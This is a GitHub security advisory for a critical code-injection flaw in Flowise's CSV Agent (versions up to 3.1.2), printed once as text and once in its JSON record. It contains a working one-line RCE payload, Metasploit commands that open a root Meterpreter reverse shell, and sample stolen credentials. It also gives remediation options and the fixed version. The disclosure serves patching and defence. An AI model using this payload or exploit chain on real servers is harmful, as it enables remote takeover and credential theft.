GHSA-VMV7-4M6C-3CG5
Vulnerability from github – Published: 2026-08-04 15:40 – Updated: 2026-08-04 15:41UPDATE 2026-05-20: Full RCE as root VERIFIED
This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.
Verified Exploit Chain
- Python code injection via
base64_string = "${base64String}"(CSVAgent.ts line 161) - Pyodide
jsbridge provides access to the host Node.js process process.mainModule.constructor._load('child_process')loads child_process (bypasses ESM require restriction).execSync('CMD')executes arbitrary OS commands as root (PID 1 in container)
Working RCE Payload
";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#
Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.
Metasploit Session Proof
msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit
[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : cbce3fb352b7
OS : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter : x64/linux
meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux
Additional Verified Impact
Credential Theft:
FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...
Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7
Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.
CVSS v3.1: 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Original Report (below)
Vulnerable Code
File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.
Lines 155-171 — Direct interpolation into executable Python code:
base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.
validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.
Remediation
Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation
Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]*$/
Option 3: Escape special characters (", \n, \r, \\) before interpolation
Related CVEs
- CVE-2026-41264 (CSV Agent regex bypass)
- CVE-2026-41265 (Airtable Agent sandbox bypass)
- CVE-2026-46442 (NodeVM sandbox escape)
Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69255"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T15:40:28Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## UPDATE 2026-05-20: Full RCE as root VERIFIED\n\n**This is not theoretical \u2014 a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.**\n\n### Verified Exploit Chain\n\n1. Python code injection via `base64_string = \"${base64String}\"` (CSVAgent.ts line 161)\n2. Pyodide `js` bridge provides access to the host Node.js process\n3. `process.mainModule.constructor._load(\u0027child_process\u0027)` loads child_process (bypasses ESM require restriction)\n4. `.execSync(\u0027CMD\u0027)` executes arbitrary OS commands as **root** (PID 1 in container)\n\n### Working RCE Payload\n\n```\n\";import js;e=js.globalThis.eval;e(\"process.mainModule.constructor._load(\u0027child_process\u0027).execSync(\u0027id\u0027)\");#\n```\n\n**Constraint:** No commas allowed in payload \u2014 `csvFile.split(\u0027,\u0027)` splits on all commas.\n\n### Metasploit Session Proof\n\n```\nmsf \u003e use exploit/multi/http/flowise_csv_agent_rce\nmsf \u003e set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp\nmsf \u003e exploit\n\n[+] Authentication successful\n[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4\n[*] Sending stage (3090404 bytes) to 172.17.0.2\n[*] Meterpreter session 1 opened (172.17.0.1:4444 -\u003e 172.17.0.2:41422)\n\nmeterpreter \u003e getuid\nServer username: root\n\nmeterpreter \u003e sysinfo\nComputer : cbce3fb352b7\nOS : Linux 6.8.0-111-generic\nArchitecture : x64\nMeterpreter : x64/linux\n\nmeterpreter \u003e shell\n# id\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)\n\n# uname -a\nLinux cbce3fb352b7 6.8.0-111-generic x86_64 Linux\n```\n\n### Additional Verified Impact\n\n**Credential Theft:**\n```\nFLOWISE_PASSWORD=admin123\nDATABASE_PATH=/root/.flowise\nAPIKEY_PATH=...\n```\n\n**Arbitrary File Read** via `process.binding(\u0027fs\u0027).readFileUtf8(\u0027/etc/hostname\u0027)` \u2192 `cbce3fb352b7`\n\n**Server DoS** \u2014 certain native binding calls (spawn_sync) crash the Node.js process entirely.\n\n### CVSS v3.1: 9.9 CRITICAL\n\n`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n---\n\n## Original Report (below)\n\n## Vulnerable Code\n\n**File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\n**Lines 133-138** \u2014 Unsanitized string extraction from data URI via `file.split(\u0027,\u0027).pop().pop()` \u2014 no validation on content.\n\n**Lines 155-171** \u2014 Direct interpolation into executable Python code:\n`base64_string = \"${base64String}\"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.\n\n`validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.\n\n## Remediation\n\n**Option 1 (Best):** Use `pyodide.globals.set(\u0027base64_string\u0027, base64String)` instead of string interpolation\n\n**Option 2:** Validate base64 before interpolation \u2014 reject if not matching `/^[A-Za-z0-9+/=]*$/`\n\n**Option 3:** Escape special characters (`\"`, `\\n`, `\\r`, `\\\\`) before interpolation\n\n## Related CVEs\n- CVE-2026-41264 (CSV Agent regex bypass)\n- CVE-2026-41265 (Airtable Agent sandbox bypass)\n- CVE-2026-46442 (NodeVM sandbox escape)\n\n**Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.",
"id": "GHSA-vmv7-4m6c-3cg5",
"modified": "2026-08-04T15:41:21Z",
"published": "2026-08-04T15:40:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6499"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection \u2014 Root Shell Verified"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.